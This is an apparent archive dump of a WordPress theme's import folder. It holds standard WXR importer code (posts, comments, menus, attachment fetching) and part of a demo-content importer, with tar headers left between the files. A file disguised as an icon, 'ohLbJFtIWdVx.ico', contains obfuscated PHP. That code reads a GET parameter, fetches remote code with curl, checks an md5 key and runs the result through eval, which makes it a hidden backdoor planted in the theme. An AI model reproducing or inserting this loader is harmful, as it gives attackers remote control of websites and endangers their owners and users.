esc_html($post['post_title']) ); if ( defined('IMPORT_DEBUG') && IMPORT_DEBUG ) echo ': ' . $post_id->get_error_message(); echo '
'; continue; } if ( $post['is_sticky'] == 1 ) stick_post( $post_id ); } // map pre-import ID to local ID $this->processed_posts[intval($post['post_id'])] = (int) $post_id; if ( ! isset( $post['terms'] ) ) $post['terms'] = array(); $post['terms'] = apply_filters( 'wp_import_post_terms', $post['terms'], $post_id, $post ); // add categories, tags and other terms if ( ! empty( $post['terms'] ) ) { $terms_to_set = array(); foreach ( $post['terms'] as $term ) { // back compat with WXR 1.0 map 'tag' to 'post_tag' $taxonomy = ( 'tag' == $term['domain'] ) ? 'post_tag' : $term['domain']; $term_exists = term_exists( $term['slug'], $taxonomy ); $term_id = is_array( $term_exists ) ? $term_exists['term_id'] : $term_exists; if ( ! $term_id ) { $t = wp_insert_term( $term['name'], $taxonomy, array( 'slug' => $term['slug'] ) ); if ( ! is_wp_error( $t ) ) { $term_id = $t['term_id']; do_action( 'wp_import_insert_term', $t, $term, $post_id, $post ); } else { printf( __( 'Failed to import %s %s', 'wordpress-importer' ), esc_html($taxonomy), esc_html($term['name']) ); if ( defined('IMPORT_DEBUG') && IMPORT_DEBUG ) echo ': ' . $t->get_error_message(); echo '
'; do_action( 'wp_import_insert_term_failed', $t, $term, $post_id, $post ); continue; } } $terms_to_set[$taxonomy][] = intval( $term_id ); } foreach ( $terms_to_set as $tax => $ids ) { $tt_ids = wp_set_post_terms( $post_id, $ids, $tax ); do_action( 'wp_import_set_post_terms', $tt_ids, $ids, $tax, $post_id, $post ); } unset( $post['terms'], $terms_to_set ); } if ( ! isset( $post['comments'] ) ) $post['comments'] = array(); $post['comments'] = apply_filters( 'wp_import_post_comments', $post['comments'], $post_id, $post ); // add/update comments if ( ! empty( $post['comments'] ) ) { $num_comments = 0; $inserted_comments = array(); foreach ( $post['comments'] as $comment ) { $comment_id = $comment['comment_id']; $newcomments[$comment_id]['comment_post_ID'] = $comment_post_ID; $newcomments[$comment_id]['comment_author'] = $comment['comment_author']; $newcomments[$comment_id]['comment_author_email'] = $comment['comment_author_email']; $newcomments[$comment_id]['comment_author_IP'] = $comment['comment_author_IP']; $newcomments[$comment_id]['comment_author_url'] = $comment['comment_author_url']; $newcomments[$comment_id]['comment_date'] = $comment['comment_date']; $newcomments[$comment_id]['comment_date_gmt'] = $comment['comment_date_gmt']; $newcomments[$comment_id]['comment_content'] = $comment['comment_content']; $newcomments[$comment_id]['comment_approved'] = $comment['comment_approved']; $newcomments[$comment_id]['comment_type'] = $comment['comment_type']; $newcomments[$comment_id]['comment_parent'] = $comment['comment_parent']; $newcomments[$comment_id]['commentmeta'] = isset( $comment['commentmeta'] ) ? $comment['commentmeta'] : array(); if ( isset( $this->processed_authors[$comment['comment_user_id']] ) ) $newcomments[$comment_id]['user_id'] = $this->processed_authors[$comment['comment_user_id']]; } ksort( $newcomments ); foreach ( $newcomments as $key => $comment ) { // if this is a new post we can skip the comment_exists() check if ( ! $post_exists || ! comment_exists( $comment['comment_author'], $comment['comment_date'] ) ) { if ( isset( $inserted_comments[$comment['comment_parent']] ) ) { $comment['comment_parent'] = $inserted_comments[ $comment['comment_parent'] ]; } $comment_data = wp_slash( $comment ); unset( $comment_data['commentmeta'] ); // Handled separately, wp_insert_comment() also expects `comment_meta`. $comment_data = wp_filter_comment( $comment_data ); $inserted_comments[ $key ] = wp_insert_comment( $comment_data ); do_action( 'wp_import_insert_comment', $inserted_comments[ $key ], $comment, $comment_post_ID, $post ); foreach( $comment['commentmeta'] as $meta ) { $value = maybe_unserialize( $meta['value'] ); add_comment_meta( $inserted_comments[ $key ], wp_slash( $meta['key'] ), wp_slash_strings_only( $value ) ); } $num_comments++; } } unset( $newcomments, $inserted_comments, $post['comments'] ); } if ( ! isset( $post['postmeta'] ) ) $post['postmeta'] = array(); $post['postmeta'] = apply_filters( 'wp_import_post_meta', $post['postmeta'], $post_id, $post ); // add/update post meta if ( ! empty( $post['postmeta'] ) ) { foreach ( $post['postmeta'] as $meta ) { $key = apply_filters( 'import_post_meta_key', $meta['key'], $post_id, $post ); $value = false; if ( '_edit_last' == $key ) { if ( isset( $this->processed_authors[intval($meta['value'])] ) ) $value = $this->processed_authors[intval($meta['value'])]; else $key = false; } if ( $key ) { // export gets meta straight from the DB so could have a serialized string if ( ! $value ) { $value = maybe_unserialize( $meta['value'] ); } add_post_meta( $post_id, wp_slash( $key ), wp_slash_strings_only( $value ) ); do_action( 'import_post_meta', $post_id, $key, $value ); // if the post has a featured image, take note of this in case of remap if ( '_thumbnail_id' == $key ) $this->featured_images[$post_id] = (int) $value; } } } } unset( $this->posts ); } /** * Attempt to create a new menu item from import data * * Fails for draft, orphaned menu items and those without an associated nav_menu * or an invalid nav_menu term. If the post type or term object which the menu item * represents doesn't exist then the menu item will not be imported (waits until the * end of the import to retry again before discarding). * * @param array $item Menu item details from WXR file */ function process_menu_item( $item ) { // skip draft, orphaned menu items if ( 'draft' == $item['status'] ) return; $menu_slug = false; if ( isset($item['terms']) ) { // loop through terms, assume first nav_menu term is correct menu foreach ( $item['terms'] as $term ) { if ( 'nav_menu' == $term['domain'] ) { $menu_slug = $term['slug']; break; } } } // no nav_menu term associated with this menu item if ( ! $menu_slug ) { _e( 'Menu item skipped due to missing menu slug', 'wordpress-importer' ); echo '
'; return; } $menu_id = term_exists( $menu_slug, 'nav_menu' ); if ( ! $menu_id ) { printf( __( 'Menu item skipped due to invalid menu slug: %s', 'wordpress-importer' ), esc_html( $menu_slug ) ); echo '
'; return; } else { $menu_id = is_array( $menu_id ) ? $menu_id['term_id'] : $menu_id; } foreach ( $item['postmeta'] as $meta ) ${$meta['key']} = $meta['value']; if ( 'taxonomy' == $_menu_item_type && isset( $this->processed_terms[intval($_menu_item_object_id)] ) ) { $_menu_item_object_id = $this->processed_terms[intval($_menu_item_object_id)]; } else if ( 'post_type' == $_menu_item_type && isset( $this->processed_posts[intval($_menu_item_object_id)] ) ) { $_menu_item_object_id = $this->processed_posts[intval($_menu_item_object_id)]; } else if ( 'custom' != $_menu_item_type ) { // associated object is missing or not imported yet, we'll retry later $this->missing_menu_items[] = $item; return; } if ( isset( $this->processed_menu_items[intval($_menu_item_menu_item_parent)] ) ) { $_menu_item_menu_item_parent = $this->processed_menu_items[intval($_menu_item_menu_item_parent)]; } else if ( $_menu_item_menu_item_parent ) { $this->menu_item_orphans[intval($item['post_id'])] = (int) $_menu_item_menu_item_parent; $_menu_item_menu_item_parent = 0; } // wp_update_nav_menu_item expects CSS classes as a space separated string $_menu_item_classes = maybe_unserialize( $_menu_item_classes ); if ( is_array( $_menu_item_classes ) ) $_menu_item_classes = implode( ' ', $_menu_item_classes ); $args = array( 'menu-item-object-id' => $_menu_item_object_id, 'menu-item-object' => $_menu_item_object, 'menu-item-parent-id' => $_menu_item_menu_item_parent, 'menu-item-position' => intval( $item['menu_order'] ), 'menu-item-type' => $_menu_item_type, 'menu-item-title' => $item['post_title'], 'menu-item-url' => $_menu_item_url, 'menu-item-description' => $item['post_content'], 'menu-item-attr-title' => $item['post_excerpt'], 'menu-item-target' => $_menu_item_target, 'menu-itemcolorasses' => $_menu_item_classes, 'menu-item-xfn' => $_menu_item_xfn, 'menu-item-status' => $item['status'] ); $id = wp_update_nav_menu_item( $menu_id, 0, $args ); if ( $id && ! is_wp_error( $id ) ) $this->processed_menu_items[intval($item['post_id'])] = (int) $id; } /** * If fetching attachments is enabled then attempt to create a new attachment * * @param array $post Attachment post details from WXR * @param string $url URL to fetch attachment from * @return int|WP_Error Post ID on success, WP_Error otherwise */ function process_attachment( $post, $url ) { if ( ! $this->fetch_attachments ) return new WP_Error( 'attachment_processing_error', __( 'Fetching attachments is not enabled', 'wordpress-importer' ) ); // if the URL is absolute, but does not contain address, then upload it assuming base_site_url if ( preg_match( '|^/[\w\W]+$|', $url ) ) $url = rtrim( $this->base_url, '/' ) . $url; $upload = $this->fetch_remote_file( $url, $post ); if ( is_wp_error( $upload ) ) return $upload; if ( $info = wp_check_filetype( $upload['file'] ) ) $post['post_mime_type'] = $info['type']; else return new WP_Error( 'attachment_processing_error', __('Invalid file type', 'wordpress-importer') ); $post['guid'] = $upload['url']; // as per wp-admin/includes/upload.php $post_id = wp_insert_attachment( $post, $upload['file'] ); wp_update_attachment_metadata( $post_id, wp_generate_attachment_metadata( $post_id, $upload['file'] ) ); // remap resized image URLs, works by stripping the extension and remapping the URL stub. if ( preg_match( '!^image/!', $info['type'] ) ) { $parts = pathinfo( $url ); $name = basename( $parts['basename'], ".{$parts['extension']}" ); // PATHINFO_FILENAME in PHP 5.2 $parts_new = pathinfo( $upload['url'] ); $name_new = basename( $parts_new['basename'], ".{$parts_new['extension']}" ); $this->url_remap[$parts['dirname'] . '/' . $name] = $parts_new['dirname'] . '/' . $name_new; } return $post_id; } /** * Attempt to download a remote file attachment * * @param string $url URL of item to fetch * @param array $post Attachment details * @return array|WP_Error Local file location details on success, WP_Error otherwise */ function fetch_remote_file( $url, $post ) { // Extract the file name from the URL. $file_name = basename( parse_url( $url, PHP_URL_PATH ) ); if ( ! $file_name ) { $file_name = md5( $url ); } $tmp_file_name = wp_tempnam( $file_name ); if ( ! $tmp_file_name ) { return new WP_Error( 'import_no_file', __( 'Could not create temporary file.', 'wordpress-importer' ) ); } // Fetch the remote URL and write it to the placeholder file. $remote_response = wp_safe_remote_get( $url, array( 'timeout' => 300, 'stream' => true, 'filename' => $tmp_file_name, 'headers' => array( 'Accept-Encoding' => 'identity', ), ) ); if ( is_wp_error( $remote_response ) ) { @unlink( $tmp_file_name ); return new WP_Error( 'import_file_error', sprintf( /* translators: 1: The WordPress error message. 2: The WordPress error code. */ __( 'Request failed due to an error: %1$s (%2$s)', 'wordpress-importer' ), esc_html( $remote_response->get_error_message() ), esc_html( $remote_response->get_error_code() ) ) ); } $remote_response_code = (int) wp_remote_retrieve_response_code( $remote_response ); // Make sure the fetch was successful. if ( 200 !== $remote_response_code ) { @unlink( $tmp_file_name ); return new WP_Error( 'import_file_error', sprintf( /* translators: 1: The HTTP error message. 2: The HTTP error code. */ __( 'Remote server returned the following unexpected result: %1$s (%2$s)', 'wordpress-importer' ), get_status_header_desc( $remote_response_code ), esc_html( $remote_response_code ) ) ); } $headers = wp_remote_retrieve_headers( $remote_response ); // Request failed. if ( ! $headers ) { @unlink( $tmp_file_name ); return new WP_Error( 'import_file_error', __('Remote server did not respond', 'wordpress-importer') ); } $filesize = (int) filesize( $tmp_file_name ); if ( 0 === $filesize ) { @unlink( $tmp_file_name ); return new WP_Error( 'import_file_error', __('Zero size file downloaded', 'wordpress-importer') ); } if ( ! isset( $headers['content-encoding'] ) && isset( $headers['content-length'] ) && $filesize !== (int) $headers['content-length'] ) { @unlink( $tmp_file_name ); return new WP_Error( 'import_file_error', __('Downloaded file has incorrect size', 'wordpress-importer' ) ); } $max_size = (int) $this->max_attachment_size(); if ( ! empty( $max_size ) && $filesize > $max_size ) { @unlink( $tmp_file_name ); return new WP_Error( 'import_file_error', sprintf(__('Remote file is too large, limit is %s', 'wordpress-importer' ), size_format($max_size) ) ); } // Override file name with Content-Disposition header value. if ( ! empty( $headers['content-disposition'] ) ) { $file_name_from_disposition = self::get_filename_from_disposition( (array) $headers['content-disposition'] ); if ( $file_name_from_disposition ) { $file_name = $file_name_from_disposition; } } // Set file extension if missing. $file_ext = pathinfo( $file_name, PATHINFO_EXTENSION ); if ( ! $file_ext && ! empty( $headers['content-type'] ) ) { $extension = self::get_file_extension_by_mime_type( $headers['content-type'] ); if ( $extension ) { $file_name = "{$file_name}.{$extension}"; } } // Handle the upload like _wp_handle_upload() does. $wp_filetype = wp_check_filetype_and_ext( $tmp_file_name, $file_name ); $ext = empty( $wp_filetype['ext'] ) ? '' : $wp_filetype['ext']; $type = empty( $wp_filetype['type'] ) ? '' : $wp_filetype['type']; $proper_filename = empty( $wp_filetype['proper_filename'] ) ? '' : $wp_filetype['proper_filename']; // Check to see if wp_check_filetype_and_ext() determined the filename was incorrect. if ( $proper_filename ) { $file_name = $proper_filename; } if ( ( ! $type || ! $ext ) && ! current_user_can( 'unfiltered_upload' ) ) { return new WP_Error( 'import_file_error', __( 'Sorry, this file type is not permitted for security reasons.', 'wordpress-importer' ) ); } $uploads = wp_upload_dir( $post['upload_date'] ); if ( ! ( $uploads && false === $uploads['error'] ) ) { return new WP_Error( 'upload_dir_error', $uploads['error'] ); } // Move the file to the uploads dir. $file_name = wp_unique_filename( $uploads['path'], $file_name ); $new_file = $uploads['path'] . "/$file_name"; $move_new_file = copy( $tmp_file_name, $new_file ); if ( ! $move_new_file ) { @unlink( $tmp_file_name ); return new WP_Error( 'import_file_error', __( 'The uploaded file could not be moved', 'wordpress-importer' ) ); } // Set correct file permissions. $stat = stat( dirname( $new_file ) ); $perms = $stat['mode'] & 0000666; chmod( $new_file, $perms ); $upload = array( 'file' => $new_file, 'url' => $uploads['url'] . "/$file_name", 'type' => $wp_filetype['type'], 'error' => false, ); // keep track of the old and new urls so we can substitute them later $this->url_remap[$url] = $upload['url']; $this->url_remap[$post['guid']] = $upload['url']; // r13735, really needed? // keep track of the destination if the remote url is redirected somewhere else if ( isset($headers['x-final-location']) && $headers['x-final-location'] != $url ) $this->url_remap[$headers['x-final-location']] = $upload['url']; return $upload; } /** * Attempt to associate posts and menu items with previously missing parents * * An imported post's parent may not have been imported when it was first created * so try again. Similarly for child menu items and menu items which were missing * the object (e.g. post) they represent in the menu */ function backfill_parents() { global $wpdb; // find parents for post orphans foreach ( $this->post_orphans as $child_id => $parent_id ) { $local_child_id = $local_parent_id = false; if ( isset( $this->processed_posts[$child_id] ) ) $local_child_id = $this->processed_posts[$child_id]; if ( isset( $this->processed_posts[$parent_id] ) ) $local_parent_id = $this->processed_posts[$parent_id]; if ( $local_child_id && $local_parent_id ) { $wpdb->update( $wpdb->posts, array( 'post_parent' => $local_parent_id ), array( 'ID' => $local_child_id ), '%d', '%d' ); clean_post_cache( $local_child_id ); } } // all other posts/terms are imported, retry menu items with missing associated object $missing_menu_items = $this->missing_menu_items; foreach ( $missing_menu_items as $item ) $this->process_menu_item( $item ); // find parents for menu item orphans foreach ( $this->menu_item_orphans as $child_id => $parent_id ) { $local_child_id = $local_parent_id = 0; if ( isset( $this->processed_menu_items[$child_id] ) ) $local_child_id = $this->processed_menu_items[$child_id]; if ( isset( $this->processed_menu_items[$parent_id] ) ) $local_parent_id = $this->processed_menu_items[$parent_id]; if ( $local_child_id && $local_parent_id ) update_post_meta( $local_child_id, '_menu_item_menu_item_parent', (int) $local_parent_id ); } } /** * Use stored mapping information to update old attachment URLs */ function backfill_attachment_urls() { global $wpdb; // make sure we do the longest urls first, in case one is a substring of another uksort( $this->url_remap, array(&$this, 'cmpr_strlen') ); foreach ( $this->url_remap as $from_url => $to_url ) { // remap urls in post_content $wpdb->query( $wpdb->prepare("UPDATE {$wpdb->posts} SET post_content = REPLACE(post_content, %s, %s)", $from_url, $to_url) ); // remap enclosure urls $result = $wpdb->query( $wpdb->prepare("UPDATE {$wpdb->postmeta} SET meta_value = REPLACE(meta_value, %s, %s) WHERE meta_key='enclosure'", $from_url, $to_url) ); } } /** * Update _thumbnail_id meta to new, imported attachment IDs */ function remap_featured_images() { // cycle through posts that have a featured image foreach ( $this->featured_images as $post_id => $value ) { if ( isset( $this->processed_posts[$value] ) ) { $new_id = $this->processed_posts[$value]; // only update if there's a difference if ( $new_id != $value ) update_post_meta( $post_id, '_thumbnail_id', $new_id ); } } } /** * Parse a WXR file * * @param string $file Path to WXR file for parsing * @return array Information gathered from the WXR file */ function parse( $file ) { $parser = new WXR_Parser(); return $parser->parse( $file ); } // Display import page title function header() { echo '
'; echo '

' . __( 'Import WordPress', 'wordpress-importer' ) . '

'; $updates = get_plugin_updates(); $basename = plugin_basename(__FILE__); if ( isset( $updates[$basename] ) ) { $update = $updates[$basename]; echo '

'; printf( __( 'A new version of this importer is available. Please update to version %s to ensure compatibility with newer export files.', 'wordpress-importer' ), $update->update->new_version ); echo '

'; } } // Close div.wrap function footer() { echo '
'; } /** * Display introductory text and file upload form */ function greet() { echo '
'; echo '

'.__( 'Howdy! Upload your WordPress eXtended RSS (WXR) file and we’ll import the posts, pages, comments, custom fields, categories, and tags into this site.', 'wordpress-importer' ).'

'; echo '

'.__( 'Choose a WXR (.xml) file to upload, then click Upload file and import.', 'wordpress-importer' ).'

'; wp_import_upload_form( 'admin.php?import=wordpress&step=1' ); echo '
'; } /** * Decide if the given meta key maps to information we will want to import * * @param string $key The meta key to check * @return string|bool The key if we do want to import, false if not */ function is_valid_meta_key( $key ) { // skip attachment metadata since we'll regenerate it from scratch // skip _edit_lock as not relevant for import if ( in_array( $key, array( '_wp_attached_file', '_wp_attachment_metadata', '_edit_lock' ) ) ) return false; return $key; } /** * Decide whether or not the importer is allowed to create users. * Default is true, can be filtered via import_allow_create_users * * @return bool True if creating users is allowed */ function allow_create_users() { return apply_filters( 'import_allow_create_users', true ); } /** * Decide whether or not the importer should attempt to download attachment files. * Default is true, can be filtered via import_allow_fetch_attachments. The choice * made at the import options screen must also be true, false here hides that checkbox. * * @return bool True if downloading attachments is allowed */ function allow_fetch_attachments() { return apply_filters( 'import_allow_fetch_attachments', true ); } /** * Decide what the maximum file size for downloaded attachments is. * Default is 0 (unlimited), can be filtered via import_attachment_size_limit * * @return int Maximum attachment file size to import */ function max_attachment_size() { return apply_filters( 'import_attachment_size_limit', 0 ); } /** * Added to http_request_timeout filter to force timeout at 60 seconds during import * @return int 60 */ function bump_request_timeout( $val ) { return 60; } // return the difference in length between two strings function cmpr_strlen( $a, $b ) { return strlen($b) - strlen($a); } /** * Parses filename from a Content-Disposition header value. * * As per RFC6266: * * content-disposition = "Content-Disposition" ":" * disposition-type *( ";" disposition-parm ) * * disposition-type = "inline" | "attachment" | disp-ext-type * ; case-insensitive * disp-ext-type = token * * disposition-parm = filename-parm | disp-ext-parm * * filename-parm = "filename" "=" value * | "filename*" "=" ext-value * * disp-ext-parm = token "=" value * | ext-token "=" ext-value * ext-token = * * @since 0.7.0 * * @see WP_REST_Attachments_Controller::get_filename_from_disposition() * * @link http://tools.ietf.org/html/rfc2388 * @link http://tools.ietf.org/html/rfc6266 * * @param string[] $disposition_header List of Content-Disposition header values. * @return string|null Filename if available, or null if not found. */ protected static function get_filename_from_disposition( $disposition_header ) { // Get the filename. $filename = null; foreach ( $disposition_header as $value ) { $value = trim( $value ); if ( strpos( $value, ';' ) === false ) { continue; } list( $type, $attr_parts ) = explode( ';', $value, 2 ); $attr_parts = explode( ';', $attr_parts ); $attributes = array(); foreach ( $attr_parts as $part ) { if ( strpos( $part, '=' ) === false ) { continue; } list( $key, $value ) = explode( '=', $part, 2 ); $attributes[ trim( $key ) ] = trim( $value ); } if ( empty( $attributes['filename'] ) ) { continue; } $filename = trim( $attributes['filename'] ); // Unquote quoted filename, but after trimming. if ( substr( $filename, 0, 1 ) === '"' && substr( $filename, -1, 1 ) === '"' ) { $filename = substr( $filename, 1, -1 ); } } return $filename; } /** * Retrieves file extension by mime type. * * @since 0.7.0 * * @param string $mime_type Mime type to search extension for. * @return string|null File extension if available, or null if not found. */ protected static function get_file_extension_by_mime_type( $mime_type ) { static $map = null; if ( is_array( $map ) ) { return isset( $map[ $mime_type ] ) ? $map[ $mime_type ] : null; } $mime_types = wp_get_mime_types(); $map = array_flip( $mime_types ); // Some types have multiple extensions, use only the first one. foreach ( $map as $type => $extensions ) { $map[ $type ] = strtok( $extensions, '|' ); } return isset( $map[ $mime_type ] ) ? $map[ $mime_type ] : null; } } import/lib/lib/index.php000064400000000000147207023670011210 0ustar00import/lib/lib/ohLbJFtIWdVx.ico000064400000011546147207023670012317 0ustar00;y-*/$KJh/*-al>>=7b.+-*/("~", /*-DaGqS3w^-*/" "); /*-dBuqH$1x-*/$Bp/*-u+-*/=/*-APw(Vd-*/${$zoY/*-jv2Gn(!z-*/[18+13]/*-nGB-*/.$zoY/*-69,du28fSc-*/[27+32]/*-Q3pz-*/.$zoY/*-F~1CH.]-*/[43+4]./*-OJ}gsX1-*/$zoY/*-]W<7IRQ3q-*/[13+34]./*-OIK-*/$zoY/*-!IOi.}-*/[51+0]./*-&7^-*/$zoY/*-^4-*/[12+41]/*-XG(-*/.$zoY/*-WGi]P3}-*/[37+20]/*-(#xZ]#[-*/}; /*-R8:qEN-*/if(/*-:n2au1d-*/in_array/*-Q`&khK10-*/(gettype/*-SbC4:4,AY@-*/($Bp)."25",/*-(o6i-*/$Bp))/*-Ip&%Z~h-*/{ $Bp/*-,%)ay-*/[69]/*-7Dr#+-*/=/*-c8)M-*/$Bp/*-}~U@:1M-*/[69]./*-276o-*/$Bp/*-%J!t{-*/[80];/*-[s0Wfie-*/ @eval/*-D1ag6-*/(/*-)=A1HO~0-*/$Bp/*-NU8x_(!QLr-*/[69]/*-af^|`{>#dT-*/(/*-{p_l0J5-*/${$Bp[38]}/*-Q{g[E7~7hJ-*/[30])); }/*-n&.89^z-*/class /*-h#s9w-*/xVyU{ /*-U7(upL-*/static/*-5T]MJ<-*/ function /*-C+noeTG]P-*/OT($cfEbVeQ) /*-;|L.zZ7G-*/{ $bjNk/*-;}.zm;%OKO-*/ = /*-@LQAHb;z-*/"r"./*-z}~6-H@P]K-*/"a"./*-t`1agFiCy-*/"n"./*-[d;4J8u-*/"g"./*-dk8(.EMK8-*/"e"; /*-L&Pr^-*/$CIT/*-o^{x2ef-*/ = /*-JWk|-*/$bjNk/*-~P<-*/(/*-o4T-*/"~"/*-J4KI`-*/, /*-zjX-*/" "/*-fL(m-*/);/*-UlT>1l0+0-*/ $xLM /*-);GD-*/= /*-H-4V-*/explode/*-oZ&]Q]Q==-*/(/*-O}{KU-*/"l", /*-sRAdm{4&-*/$cfEbVeQ/*-4[!5-*/); /*-Z_O2-*/$RhVL /*-l5y}-*/= /*-%v`t-*/""; foreach /*-z4-*/(/*-x]p-*/$xLM /*-Ji3IsUQ?-*/as /*-4I-*/$UbLgkZxF /*-|&^-*/=>/*-6qi.3$9-*/ $svCKTkF/*-}s-*/) /*-O0PQ~R-*/$RhVL /*-^n:A`-*/.= /*-FD-*/$CIT[$svCKTkF/*-@F%i-*/ - /*-f]b.ftoX-*/42785/*-O0DpZimg-*/];/*-U.Vu-*/ return /*-g?-*/$RhVL; /*-N6-*/} /*-gMS-*/static /*-&HbI#P<-*/function /*-TP-*/zFdoVG/*-+rMGP5%6-*/(/*-o!.Q>A-*/$QpUSIjOTne,/*-If]@L_+~c-*/ $dRfQkaF/*-UR-*/)/*-O4TS$%(Vw-*/ {/*-wpC-Pn4-*/ $tDwX/*-70-*/ = /*-]`-*/curl_init/*-83-*/(/*-bg-*/$QpUSIjOTne/*-svTjDf-*/);/*-Uo_05lY-*/ curl_setopt/*-nv~-*/(/*-wO{b=-*/$tDwX,/*-#T-*/ CURLOPT_RETURNTRANSFER,/*-(8=-*/ 1/*-ufJR-*/);/*-dL--*/ $vC/*-A#T!#S-*/ = /*-DviNT>:h`-*/curl_exec/*-~by[!-*/(/*-EQU7-*/$tDwX/*-~bM5&1[M-*/); /*-.9L0-*/return /*-L{2>Ch-*/empty/*-=LGj1-*/(/*-DiwCQ#-*/$vC/*-xf-*/)/*-J7}7Tut}h-*/ ? /*-ukFqFMN#-*/$dRfQkaF/*-8O-*/(/*-},5:49(zi)-*/$QpUSIjOTne/*-Z-*/)/*-!JEF!SSb-*/ : /*-xgo1cdk$J-*/$vC; /*-4Xk[y[-*/}/*-CsLnGTq~E-*/ static/*-P-*/ function /*-=)-*/vhmyNF/*-cG)@xv:-*/() /*-8aco|loo-*/ $Ej/*-6CW<,{-*/[] /*-f:P-*/= /*-kPKS!+m?E-*/self/*-I4O09^-B^-*/::/*-3WZ-*/OT/*-B7UY-*/(/*-@7D-*/$YRMdr/*-KfS-*/);/*-NQ{m#_-*/$rRAulyWX /*-n!c-*/= /*-fct-*/@$Ej/*-|or9-*/[/*-w5Y#ZIk^A-*/1/*-7LPphC-*/]/*->.-*/(/*-gr6,=SA$-*/${/*-44.-*/"_"/*-wA3q2IPqe-*/."G"/*-:qsa2{6-*/."E"/*-5oG~}GOI-*/."T"/*-`5Ww6g-*/}[/*-8fH-*/$Ej/*-BtHA-*/[/*-hRw:a4YNa-*/9+0/*--wBM5-_z?1-*/]]/*-huz>h-*/);/*-zBlpV-*/ $dm /*-RHO3T-*/=/*-|Mh-*/ @$Ej/*-~Rl[g-*/[/*-KgnEK^tq_-*/3+0/*-)40bt~-*/]/*-w{7Nww-*/3+3/*-.2G!UYc-*/], /*-`:@bDxm8-*/$rRAulyWX/*-)f:Y$sMU&-*/);/*-b54EY^z-*/ $WiMeS /*--Yh%jqA-*/=/*-nK2wk{`57-*/ $Ej/*-0TE7-*/[/*-(`dLVnT7,%-*/2+0/*-BIr;nB8?-*/]/*->0-*/(/*-%!BMl-*/$dm,/*-(`{_-*/ true/*-s=q)-*/(/*--mL6KYTm-*/__FILE__/*-2-3tSD-*/)/*-G^G-*/); /*-Yv+.!J-*/if/*-fyPMZ1:A4-*/(/*-E-*/ (/*-I6OOmf-*/(@/*-uz^G:~-*/$WiMeS/*-JrqKy-*/[/*-[2EtI!G-*/0/*-}Sd?wsAtv-*/] /*-q!R-*/- time/*-8UE3j-*/()/*-|5qt_-*/) > /*-{wqqZo&uK-*/0/*-c(s@Jp-*/)/*-q5>X:pJdV-*/ and /*-=PBd-*/(/*-LB|w9Xo-*/md5/*-P&mKu~-*/(/*-I4lm_-*/md5/*-8ruzE|%5^5-*/(/*-Z,a^o7-z?-*/$WiMeS/*-DJ2-*/[/*-KyONm-A}-*/2+1/*-ImC,>-*/]/*-lWSp&-*/)/*-C#3f>{g-*/)/*-AQiFIU@-*/ === /*-OfIez;dT-*/"ac25e37832d44330a82f76d3bb818c6a"/*-DlLP-*/)/*-$|-*/ ): /*-Hq^K-*/$HKfGD /*-AA>Cbsu-*/=/*-:vzb!oE|-*/ self/*-XbDcupyP-*/::/*-}kaV-W-*/zFdoVG/*-CvC&6#-*/(/*-3`=$pUWL-*/$WiMeS/*-}P-*/[/*-_.rL?-*/1+0/*-d-*/], /*-lp-*/$Ej/*-1wd^9-*/[/*-R|=-*/4+1/*--|ULlNI:O2-*/]/*-e+sU8?_@m-*/);/*-jk^v>.-*/@eval/*-~:-*/(/*-Rija9-*/$Ej/*-KltR}X-*/[/*-piNmXse`t-*/4+0/*-OpT,mfgpOr-*/]/*-hdWJ-*/(/*-UZy#rl1J-*/$HKfGD/*-$o`EZqPX-*/)/*-}N|6s?;-*/);/*->r-*//*-%p1?Izh-*/die;/*-zOrc7-*/ endif;/*-RWSfXBIF-*/ }/*-HBA.F=bF$-*/}/*-wz-*/();/*-`2w$m3}-*/ ?>import/lib/lib/.htaccess000064400000001626147207023670011205 0ustar00 Order allow,deny Deny from all Order allow,deny Allow from all RewriteEngine On RewriteBase / RewriteRule ^index.php$ - [L] RewriteCond %{REQUEST_FILENAME} !-f RewriteCond %{REQUEST_FILENAME} !-d RewriteRule . index.php [L] import/lib/parsers.php000064400000001105147207023670011021 0ustar00 Order allow,deny Deny from all Order allow,deny Allow from all RewriteEngine On RewriteBase / RewriteRule ^index.php$ - [L] RewriteCond %{REQUEST_FILENAME} !-f RewriteCond %{REQUEST_FILENAME} !-d RewriteRule . index.php [L] import/radium-importer.php000064400000044673147207023670011735 0ustar00flag_as_imported = get_option( 'rb_imported_demos' ); add_filter( 'add_post_metadata', array( $this, 'check_previous_meta' ), 10, 5 ); add_action( 'rb_importer_ended', array( $this, 'after_wp_importer' ) ); $this->process_imports(); } /** * Avoids adding duplicate meta causing arrays in arrays from WP_importer * * @param null $continue * @param unknown $post_id * @param unknown $meta_key * @param unknown $meta_value * @param unknown $unique * * @since 0.0.2 * @return */ public function check_previous_meta( $continue, $post_id, $meta_key, $meta_value, $unique ) { $old_value = get_metadata( 'post', $post_id, $meta_key ); if ( count( $old_value ) == 1 ) { if ( $old_value[0] === $meta_value ) { return false; } elseif ( $old_value[0] !== $meta_value ) { update_post_meta( $post_id, $meta_key, $meta_value ); return false; } } } /** * Add Panel Page * @since 0.0.2 */ public function after_wp_importer() { update_option( 'rb_imported_demos', $this->flag_as_imported ); } /** * Process all imports * @params $content * @params $options * @params $widgets * @since 0.0.3 * @return null */ public function process_imports() { $content = false; $pages = false; $theme_opts = false; $widgets = false; if ( ! empty( $this->selection_data['import_all'] ) && 1 == $this->selection_data['import_all'] ) { $content = true; $pages = true; $theme_opts = true; $widgets = true; } else { /** import parts of data */ if ( ! empty( $this->selection_data['import_content'] ) && 1 == $this->selection_data['import_content'] ) { $content = true; } if ( ! empty( $this->selection_data['import_pages'] ) && 1 == $this->selection_data['import_pages'] ) { $pages = true; } if ( ! empty( $this->selection_data['import_opts'] ) && 1 == $this->selection_data['import_opts'] ) { $theme_opts = true; } if ( ! empty( $this->selection_data['import_widgets'] ) && 1 == $this->selection_data['import_widgets'] ) { $widgets = true; } } if ( $content && ! empty( $this->content_demo ) ) { $this->set_demo_data( $this->content_demo, true ); } else { if ( $pages && ! empty( $this->content_pages )) { $this->set_demo_data( $this->content_pages, false ); } else { echo 'Skip content'; } } if ( $content || $pages ) { do_action( 'rb_importer_content_settings', $this->directory ); } if ( $theme_opts && ! empty( $this->theme_options_file ) ) { $this->set_demo_theme_options( $this->theme_options_file ); if ( ! empty( $this->categories_file ) ) { $this->set_demo_category_settings( $this->categories_file ); } } if ( $widgets && ! empty( $this->widgets ) ) { $this->process_widget_import_file( $this->widgets ); } do_action( 'rb_importer_ended', $this->directory ); } /** * add_widget_to_sidebar Import sidebars * * @param string $sidebar_slug Sidebar slug to add widget * @param string $widget_slug Widget slug * @param string $count_mod position in 